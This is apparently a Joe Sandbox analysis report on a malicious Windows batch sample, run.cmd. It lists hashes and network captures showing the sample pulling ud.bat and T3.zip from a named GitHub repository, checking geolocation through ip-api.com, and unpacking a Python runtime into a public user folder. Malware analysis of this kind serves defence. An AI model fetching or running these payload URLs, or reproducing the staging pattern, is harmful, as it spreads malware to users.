Preview:	PK...........V.<B.............python.exe.Z}p[..O...C.I....<..q rdKv...9..u.I...T..'[E.T........j&m..3.n6.......'0.9b.'.6..mB:..../....nb.T{.O.dl(.t?..{..{........$.....J.2BXp./.z...+./$/.Y:..Y.....H.3...=.`0$.."...y..w~c+.....C.Y...'...~<..S.......^......8.?N2.G.....J.p....^.HR........S4....B........c.d..k.i..)#.....B...Q..E..Q.......KY3H.s...k.....w.g...@Q..".C..D+!{.9: ...#.k..rd..QFH..?..Z......#..I..K..A....b{E...Pdd..(S...`bD@.X..H.g...a&H..P..s.D#....\|C...>....y........f.m _. .V.\C.....W.d....[AH.H..-.].M.b\R.=Qt..4X.U....B.o.@.>..<.L!....%..P..b..sigB.w..!....wu..`.......-..W&s1'...#....=...c....s.>.K5.ob....=.+._.<...L........m.(-O..V.TAu"..}.Lv....%s.. fe.]....w......-.y._.'{...`..?.;o..]'b.....,.(..z.h...........\<...1...~...u....Kz...mk..J..R9....B..H..pF..&-j.%..Z5.....2...Ty%Cv1.n`.zA.P...\|..R.).+..[.....WN..J.p.c....y9.SJA.v..N.......+L...!3O@&'.......d.,.s..u<l`.^F..)....Sb/......T....1.J.9A>g;.2E.h..)S.....f...iI..;Lp

Process:	C:\Users\Public\Document\python.exe
File Type:	data
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.3537909003667865
Encrypted:	false
SSDEEP:	96:CgdNzUuGd+P2sKNUWOom2j8kQAnPPELBG0uY:P4BRROom1gPG00uY
MD5:	A241CD2EC5B30040F92F6384AC8B9606
SHA1:	FDE7F433DCA1B206351C2DFE8FA53FF0DCF1BA8C
SHA-256:	A35CDD959B7420DEA604258C2BA39F987807BBDE4F56227DD85C099F8013DE9B
SHA-512:	867EE02BD6E0AEF8BB61E6D85322D0635EDEFAE3D3FFE813907F33704B03A2DBF3399BFF5C1EC02E15866E60C45769D6266D20ED00748ED4414DF6F975BE8EE6
Malicious:	false
Preview:	o.......Z.,d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

File type:	Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
Entropy (8bit):	4.702318608301097
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	run.cmd
File size:	432'926 bytes
MD5:	86762ed7dbbeed94bf80931443848b6c
SHA1:	de2535a283c1bb14f14381d82021f138601511e0
SHA256:	5625b1f1ed09defd9e34b1f034db9c8fc53bb63c365cf4ef91e494ede792a663
SHA512:	f1d83d5157d40905da86df6a25002ef048e9f7076de419ad2871c61ce773795ec4743e0c8709fe52181540d7062cf30c736968451cc1807444aba9daa75c878e
SSDEEP:	1536:xJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJSJJJJJJJJu:d
TLSH:	79940A90DA7B7AC1EE83B65025B77460F2CC5C077E39E8F63CFA3649C060C1AD969916
File Content Preview:	..&cls..echo muflbvyzertjcrdftgslnzasqmynkmwydeofandplvmyeliwkrqnvebctljuwvrjdneocyknodzlyxdytgnzwapzgauykynqzbmyeyeltmkwgaltnmkscqjvyubjdqztimkbgqphhhlgllacdgfscvukpnfoixnupyhrfcwlqrbovbegfdcpwaiurfapvcrmcpipcygemxmtipxccxelkbvepmifjiumppdtvlolwiwcrlwyqz

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 17:05:18.551701069 CET	64586	53	192.168.2.10	1.1.1.1
Dec 9, 2024 17:05:18.689435005 CET	53	64586	1.1.1.1	192.168.2.10
Dec 9, 2024 17:05:23.794976950 CET	49592	53	192.168.2.10	1.1.1.1
Dec 9, 2024 17:05:23.938783884 CET	53	49592	1.1.1.1	192.168.2.10
Dec 9, 2024 17:06:25.722843885 CET	56759	53	192.168.2.10	1.1.1.1
Dec 9, 2024 17:06:25.860671997 CET	53	56759	1.1.1.1	192.168.2.10
Dec 9, 2024 17:06:27.171006918 CET	61479	53	192.168.2.10	1.1.1.1
Dec 9, 2024 17:06:27.308624983 CET	53	61479	1.1.1.1	192.168.2.10

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 17:06:25.985132933 CET	158	OUT	GET /json/?fields=8195 HTTP/1.1 Host: ip-api.com User-Agent: python-requests/2.30.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive
Dec 9, 2024 17:06:27.085031033 CET	245	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 16:06:26 GMT Content-Type: application/json; charset=utf-8 Content-Length: 69 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d Data Ascii: {"country":"United States","countryCode":"US","query":"8.46.123.228"}

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:05:20 UTC	84	OUT	GET /ty9989/u/raw/main/ud.bat HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-09 16:05:21 UTC	535	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Mon, 09 Dec 2024 16:05:18 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/ty9989/u/main/ud.bat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-09 16:05:21 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:05:22 UTC	60	OUT	GET /ty9989/z/raw/main/T3.zip HTTP/1.1 Host: github.com
2024-12-09 16:05:23 UTC	535	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Mon, 09 Dec 2024 16:05:23 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/ty9989/z/main/T3.zip Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-09 16:05:23 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:05:25 UTC	95	OUT	GET /ty9989/z/main/T3.zip HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-09 16:05:25 UTC	895	IN	HTTP/1.1 200 OK Connection: close Content-Length: 15567748 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/zip ETag: "7a70b53fc179640c8d38a36a2d17c55c69846b4ade114f6c7bbdafb95368e9dd" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: EB62:191953:21E221:24D767:67571545 Accept-Ranges: bytes Date: Mon, 09 Dec 2024 16:05:25 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740052-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733760325.435546,VS0,VE161 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: ef7754532cb1686163607d69766d71a269bba689 Expires: Mon, 09 Dec 2024 16:10:25 GMT Source-Age: 0
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 fb 05 85 56 e8 3c 42 15 0a d0 00 00 18 93 01 00 0a 00 00 00 70 79 74 68 6f 6e 2e 65 78 65 ec 5a 7d 70 5b d5 95 bf 4f 96 1c f9 43 91 49 a3 e0 80 93 3c 1b a5 71 20 72 64 4b 76 ec d8 06 39 91 e1 85 75 a8 49 1c a0 d4 54 91 a5 27 5b 45 96 54 e9 c9 b1 f9 aa 8d 12 88 f3 6a 26 6d a1 0d 33 dd 6e 36 ec cc 86 1d 96 9a 96 0f 27 30 19 39 62 12 27 04 36 0d dd 6d 42 3a 8b 97 9d 09 2f 84 ed d8 ed 6e 62 08 54 7b ce bd 4f b6 64 6c 28 7f 74 3f 86 de 99 7b 7f e7 9e 7b ee b9 e7 9e fb f9 ae b4 f9 de bd 24 87 10 a2 85 98 4a 11 32 42 58 70 90 2f 0e 7a 8e 90 85 2b 0e 2f 24 2f e6 bd 59 3a c2 b5 bc 59 da d6 e5 8f f2 e1 48 a8 33 e2 ee e6 3d ee 60 30 24 f1 1d 22 1f 89 05 79 7f 90 77 7e 63 2b df 1d f2 8a 15 06 43 be 59 d5 f1 d2 a2 27 9f 99 8c 7e 3c 91 8e Data Ascii: PKV<Bpython.exeZ}p[OCI<q rdKv9uIT'[ETj&m3n6'09b'6mB:/nbT{Odl(t?{{$J2BXp/z+/$/Y:YH3=`0$"yw~c+CY'~<
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: 38 a6 fb 01 a4 dc 30 a7 6e 26 3a 9c b1 3d 74 0f 04 4b 8a 5b e4 d1 91 cd f7 12 e2 ab d3 3d fb 01 6c 92 bd 82 c7 f0 5b 20 60 35 3f 8d 90 73 72 a0 0e ef 18 31 d7 48 81 06 c5 9a 8a 63 6d 2d 37 1d 35 be d2 b4 58 18 ba b3 58 c8 39 0d 64 ae 30 54 d8 df 32 54 78 52 18 5c 6c de 54 ff 2b a9 58 be bd b0 a5 7e 34 92 2f 6f d0 e7 8c b6 d4 27 22 30 89 8f 96 5f 7a d7 76 46 d8 75 86 f9 29 fe 80 99 3c 8c 54 3e f8 39 17 50 43 dd 5e 9c 64 3e da 73 4e 29 c0 7d ee 0c f4 b9 60 e7 f9 d8 02 e1 71 d3 91 15 84 b0 7e a4 fd f8 4b e0 90 3d e7 24 ed ce 33 b1 42 ba 97 c2 06 f3 38 c0 30 37 cb e7 42 bc f1 09 10 4e c1 ac 8b 2d 50 b6 80 c8 25 23 ec 0f e0 dd 5e 60 2b f5 6a 5b 82 d1 f9 b6 20 1f 4d 57 66 f3 26 05 9e b8 72 f6 fa c4 95 b3 29 ba c3 26 e9 de ca 6f 13 e4 0f d9 92 d6 49 4b c1 b2 57 Data Ascii: 80n&:=tK[=l[ `5?sr1Hcm-75XX9d0T2TxR\lT+X~4/o'"0_zvFu)<T>9PC^d>sN)}`q~K=$3B807BN-P%#^`+j[ MWf&r)&oIKW
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: df 53 cb a7 54 7c 47 e5 4f cc b2 eb 87 69 bb 67 d9 3f 36 ab bf 2d d7 b1 f7 a5 34 26 4a 18 8e cf c2 74 d0 5f 93 9d 4f 07 47 11 e3 4f 15 31 fc b2 c1 61 55 db 53 31 35 2b a0 4c fa cd 0c 3f 68 6a f0 39 08 3e 56 f9 25 84 64 96 15 e2 dc c1 79 05 65 f7 cc 2a c3 c3 71 3f 54 0e 40 59 60 09 c9 0a b5 1c f9 b3 04 bd 75 6e 7f ec 2b 65 fc 83 a5 f3 f8 8b 23 ff b3 c1 3c b7 1d fb 55 fb 86 55 1c 51 b1 bc e6 cb 8d 73 31 8e 5b bf a6 7f 3a 0f 63 a0 27 ec 3d 0f 9f f4 b6 6c 75 6e 5d c1 35 ae 68 79 e7 6d e1 6f 9e bd 65 e9 1d 89 63 71 7a f4 ad 6f 77 b7 57 b6 77 b4 77 f8 83 ed ee 6e 6f 8d bd 3d dc 27 75 85 82 15 61 6f 87 aa ab 44 8d 18 ae c7 64 db 6d ad 69 bd f4 9d d1 1c 08 5b ad ac 1a 6d 12 0a f6 17 a6 cb ba 29 6f b8 84 cd a9 34 cf 6c b5 92 0b 59 bc de e9 37 cd 0a 3f be 21 9a ab Data Ascii: ST\|GOig?6-4&Jt_OGO1aUS15+L?hj9>V%dye*q?T@Y`un+e#<UUQs1[:c'=lun]5hymoecqzowWwwno='uaoDdmi[m)o4lY7?!
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: c1 55 0c 0f 7f 8d 90 27 81 7e 0d d0 02 17 fd 9f 02 6d 05 f4 43 54 80 0e 00 be 04 71 0a e8 11 c0 8d 70 57 d5 c3 77 82 13 f0 b7 10 13 ab 18 c2 f1 40 26 56 31 5c 8d 6f 03 20 b3 06 d0 07 71 04 f8 5d 80 df 83 38 0c 74 3f e0 9a 6b e1 7b 06 64 7a 01 7f 04 b1 04 e8 11 c0 9c a5 50 06 74 11 60 07 44 33 ca 00 be 0d b1 01 e8 5f 03 16 5d 07 f7 96 72 86 2d 10 db 80 6e 05 9c bc 9e 90 ed e5 f4 0d 86 1c 85 18 2e a7 ef 2f f4 fe de 5b ce 10 ef db 3b 57 31 2c 81 38 be 8a fc 3f 0c 5a fa f0 0c 9f 53 fd 0b 09 fd 66 eb c7 6f cd 11 40 7c 27 38 0d 98 2d 5f 48 f7 03 05 f8 b8 57 40 a6 1f eb 17 03 e2 5f 86 ac 80 f8 5e 2d 00 e2 8b f8 76 40 7c 6e ef 05 d4 b3 bf e5 f4 e7 e1 5b 0b 60 3e be 71 01 16 e0 f7 36 20 be 17 4d 70 b3 db 63 8f fa 7a cd dc 7c 7e 1e 7e ed 1c fc 3c 30 b0 55 43 c8 5c Data Ascii: U'~mCTqpWw@&V1\o q]8t?k{dzPt`D3_]r-n./[;W1,8?ZSfo@\|'8-_HW@_^-v@\|n[`>q6 Mpcz\|~~<0UC\
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: c8 ff 97 5f 86 55 1b 99 9a d5 a9 d2 b7 aa 95 e2 d6 b0 46 e6 6e a6 ce 0f 19 65 e8 11 c2 9f 9f 67 4b 03 e4 ba 67 6f 2d d2 81 1a 56 3a db a1 2c 34 bd 80 81 7a cb 1d c9 cf 76 35 c6 8e 79 0d a3 25 3a dc 02 c8 5c 7a 2a 9a c5 f3 3b 80 3c 51 2c 82 ff 85 96 a6 fd 03 47 27 4d fb c6 64 5a 93 7e 3e cf 8a e2 1d a3 21 f3 1a cf da 6c 5e 93 7e 38 ea 5d a9 6d f3 46 54 e9 8d 2a 6a 50 b3 15 d8 10 c0 61 b6 3e 4b ad 48 ed 38 b7 cb e0 db 37 b2 33 26 5b ba ec d6 b5 7e 20 29 61 d6 70 fa e2 25 e9 71 ff 8b 77 c6 b6 c3 43 c6 4a a4 1f ed 0c 61 68 40 03 c6 a8 bd 68 32 78 ee 14 9f 3d fa e5 a3 c4 d8 bb 85 59 e8 1a 61 68 77 9f a0 83 83 ab 47 a0 01 1a b0 6c 0d 1e fc 39 36 81 79 0b 72 98 e1 aa 56 8d ab da c9 7b 5c d9 bd 51 b3 41 ea d2 f1 02 7e 67 79 74 4a 0c 8d b0 f3 99 6a 2e 17 10 4b 1f Data Ascii: _UFnegKgo-V:,4zv5y%:\z;<Q,G'MdZ~>!l^~8]mFTjPa>KH873&[~ )ap%qwCJah@h2x=YahwGl96yrV{\QA~gytJj.K
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: 96 cd 03 ea e0 f1 b3 69 17 ae 69 cc 7f ed ca 72 a8 ad f6 ee 12 cb 3e d8 7a ce a4 fe b5 ac c3 d7 d7 77 ac f7 99 69 5d c8 cd 67 6b df da 61 36 52 48 1a 4b 02 f8 7b b9 02 b5 72 52 1a e4 5e 43 49 39 62 7e 36 29 6b 55 e9 74 00 bf 2d 7a 3b 9f 0b b1 a3 7a 58 fd 23 7a 12 93 d1 5d 0d 65 0f 7d f5 da 1c bc 4e 5b a9 32 ff 89 0e a2 87 fb 57 2f 08 33 0f d4 b7 15 fa 74 ee f4 e7 61 54 56 ad a7 f0 01 6b 2a e1 3a bc b5 b8 5b 21 1a cb 0b b7 b2 cc b7 0d ec be 15 b3 a5 a9 7f fb d6 bd f4 29 a3 18 6f 36 d2 96 da e4 f3 74 08 b7 cf e9 2c 9c 2c 21 2e 52 4f 74 c5 f2 83 87 43 0e 8b e9 54 aa 96 46 89 ae d1 2b f6 68 84 fc 8e 24 01 fc 9c af e9 df f6 88 7f 11 7d 54 4d 08 f2 df 1b 90 bc f2 04 b4 03 6f 3a 9a ab 69 86 bb ac 81 fb c3 ca 5d be 27 de e7 53 e3 18 3a 09 c6 0e 05 98 9a ab 1b 3d Data Ascii: iir>zwi]gka6RHK{rR^CI9b~6)kUt-z;zX#z]e}N[2W/3taTVk*:[!)o6t,,!.ROtCTF+h$}TMo:i]'S:=
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: 82 e3 fb 8b cd b1 46 60 df b8 04 cc 1b b4 ec 1c 90 cf d3 a7 77 83 f0 5f 9d 47 8b 8b d1 6c 99 c0 48 e6 c1 26 14 26 82 09 45 2f 92 79 54 68 90 9d 65 6c a3 1f b7 bd 70 fb c9 43 d1 bd 9b e3 bb ce 64 6f c5 02 c6 2e 0a 1e 90 66 38 f6 5c 2d ca f8 b4 85 9e 51 7e b0 10 75 1d f4 59 cb 32 87 3a 66 00 68 d3 fe c2 6d db f3 79 40 4b 70 d8 92 5c a8 78 2d ba e4 05 89 cb 7e 54 68 83 87 ba e6 71 93 ec d1 ee 22 73 fd 37 96 a7 d4 ce 49 96 87 ce ed 3e d3 3b d0 0f c4 3b 8e 97 ee d3 38 31 92 87 c1 9e d5 bb be 43 b0 1b 2b 3b 3e 83 9a 29 94 e7 2f 06 89 e4 18 ed ed 5f 2a df 7b d9 d0 c1 e1 d5 9e 10 aa 36 d0 c5 45 48 8a be 7d 41 01 f8 44 ac af 9b 2f 67 bb 38 97 5f 58 0e 1f 42 3c cb 2c a3 ed ca 0d 61 b9 36 49 98 f9 8d 24 e1 f0 cb 32 83 2b 59 74 0f ae c5 f2 17 d8 2d a1 84 64 65 07 49 Data Ascii: F`w_GlH&&E/yThelpCdo.f8\-Q~uY2:fhmy@Kp\x-~Thq"s7I>;;81C+;>)/_*{6EH}AD/g8_XB<,a6I$2+Yt-deI
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: e0 38 0c f3 1e b4 97 d7 6a 53 a1 27 bb 97 71 71 60 8e ee 6a fa f1 e9 8c 93 3d 73 0a ba 94 cc 53 ae bc 57 67 50 86 dd 0c 39 27 5a ad c5 71 dc 21 4b c8 2e ba 8c c2 7e 27 2c 5e 4d be 17 2f 90 4c 83 4c 02 9a 1c 59 69 f4 6c 4e e1 0a 3e 38 0c 87 4c 19 8d 49 f3 ab 27 68 a5 85 af 3a 32 16 ce e4 87 a7 55 34 e1 13 d1 89 c6 f0 dc d7 26 45 cc 45 b9 6d 87 62 09 9e 8f b5 bd 20 9b 2a 2d 3f 2b 4d 0d 12 76 71 bf b5 26 1d ca 5d 15 7a 84 b1 23 21 73 c8 9f a7 81 95 e5 f5 60 13 58 ec 3b 91 ec 67 b6 3e 8a e7 e3 23 be 86 b9 30 77 a3 70 eb aa 55 f4 b9 aa 72 05 b1 51 13 f7 e8 0b 8e c9 2a 30 62 29 f3 9c 00 a6 23 83 8c 0a 5f 52 f7 f6 58 f4 98 cf 5e 68 59 38 95 5b 7e 1c 84 70 cc d1 1c bc a0 35 8c 05 2c be c6 69 b2 2e fb b8 7c 4e 65 18 ad da d8 db f3 6b 18 13 7e fc f7 34 15 94 e9 8f Data Ascii: 8jS'qq`j=sSWgP9'Zq!K.~',^M/LLYilN>8LI'h:2U4&EEmb -?+Mvq&]z#!s`X;g>#0wpUrQ0b)#_RX^hY8[~p5,i.\|Nek~4
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: 6b 66 ae de e5 73 96 ae 50 d0 a3 a1 e2 28 91 56 fb ac 78 1e 06 f4 bb df b4 72 59 f7 46 ef 5c 9b 13 73 ad bc 5f e6 ed 66 8c af 06 ef 91 cf 53 9f 47 f3 fa e2 96 fe 98 40 99 0f cb 94 e7 09 fa b6 98 ab 0e e7 c5 32 57 a9 77 40 11 fd 0c a8 d8 cd 19 95 20 45 dc 7d 7b db 69 ea 59 45 ed 28 c2 8c b0 14 74 5a a8 4a c5 fb 8b 08 e0 8c ee ca 7c f9 84 8c fe f4 c1 fe 7a fb 66 69 ff 05 67 cc 53 15 45 70 3d 91 3d d2 aa cf 6b 51 cb 8d fc 06 3a e5 42 5f 37 7c b0 04 dd c3 56 43 47 d5 b1 4e b9 c4 ab f9 5d c3 d8 80 52 c2 3e eb 54 69 0a 8c 2f 22 49 35 2f 45 0c c5 e7 a8 d1 fc 61 e8 66 3b 14 d2 a3 90 6f 77 d9 89 e0 2b 80 cd 96 fc f0 8c ba 55 95 0d de 7a 4b 1b 9a 88 5a 1a a7 79 18 df ce 90 76 9e 02 4d 7e f7 f5 10 cf 4b d2 31 e3 45 6c 37 a4 ab a3 44 f7 d0 ee f1 1f 58 71 b8 a9 68 8e Data Ascii: kfsP(VxrYF\s_fSG@2Ww@ E}{iYE(tZJ\|zfigSEp==kQ:B_7\|VCGN]R>Ti/"I5/Eaf;ow+UzKZyvM~K1El7DXqh
2024-12-09 16:05:25 UTC	1378	IN	Data Raw: df 59 b8 dd 5f 27 53 f5 64 78 ed a9 6a 15 61 20 09 22 6f 8c 46 f8 7c f4 43 58 6e 60 4a 3f 8e b1 87 cc bb c5 2b 39 8f a2 7b ed c1 c3 d8 d0 8e 7c 29 fc 17 f0 4d 99 83 6d 62 28 b0 04 1a 66 7c ae b7 3b 2a 1f 7e 1e ce 20 bb d7 85 79 e7 66 9f f4 ae dc cd ba 74 cb 43 c9 84 32 70 69 bc ef f3 f1 f5 e7 89 8d 02 1b 97 a2 84 1c 65 09 b9 e7 18 c4 10 0f f6 6a 46 07 a5 76 1b a9 c1 29 de 84 23 1e f3 63 f9 3a 01 aa d8 8b e8 fa c3 c7 1c e3 bb 35 82 91 3d 38 22 e3 ed a1 35 96 3c 04 d8 39 e8 61 f4 57 ef 48 92 27 ed 8d 94 1c b2 5e 5d 14 16 d9 eb 62 72 a1 33 93 bb 59 c1 35 42 16 64 89 7c 1d 43 13 68 75 7c 65 3c f4 66 f9 ea e1 6b a7 72 c6 ad 0d 4c 1a f3 a5 51 23 ec 2f b3 e9 c9 63 38 5e 2c fd 41 f9 6a ea 3a eb 87 df a6 19 e4 fa d4 be 2d e3 b0 fb 6e d7 09 45 63 13 c3 06 32 6d 50 Data Ascii: Y_'Sdxja "oF\|CXn`J?+9{\|)Mmb(f\|;*~ yftC2piejFv)#c:5=8"5<9aWH'^]br3Y5Bd\|Chu\|e<fkrLQ#/c8^,Aj:-nEc2mP

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report run.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\DLLs\_asyncio.pyd

C:\Users\Public\Document\DLLs\_bz2.pyd

C:\Users\Public\Document\DLLs\_ctypes.pyd

C:\Users\Public\Document\DLLs\_ctypes_test.pyd

C:\Users\Public\Document\DLLs\_decimal.pyd

C:\Users\Public\Document\DLLs\_elementtree.pyd

C:\Users\Public\Document\DLLs\_hashlib.pyd

C:\Users\Public\Document\DLLs\_lzma.pyd

C:\Users\Public\Document\DLLs\_msi.pyd

C:\Users\Public\Document\DLLs\_multiprocessing.pyd

C:\Users\Public\Document\DLLs\_overlapped.pyd

C:\Users\Public\Document\DLLs\_queue.pyd

Windows Analysis Report
run.cmd

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc.2165726754864

C:\Users\Public\Document\Lib\pycache\_collections_abc.cpython-310.pyc.2165712968112

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc.2165720461872

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc.2165712975152

C:\Users\Public\Document\Lib\pycache\_sitebuiltins.cpython-310.pyc.2165714384048

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc.2165720452144

C:\Users\Public\Document\Lib\pycache\abc.cpython-310.pyc.2165714142128

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc.2165737518256

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc.2165719810096

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc.2165741900544

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc (copy)

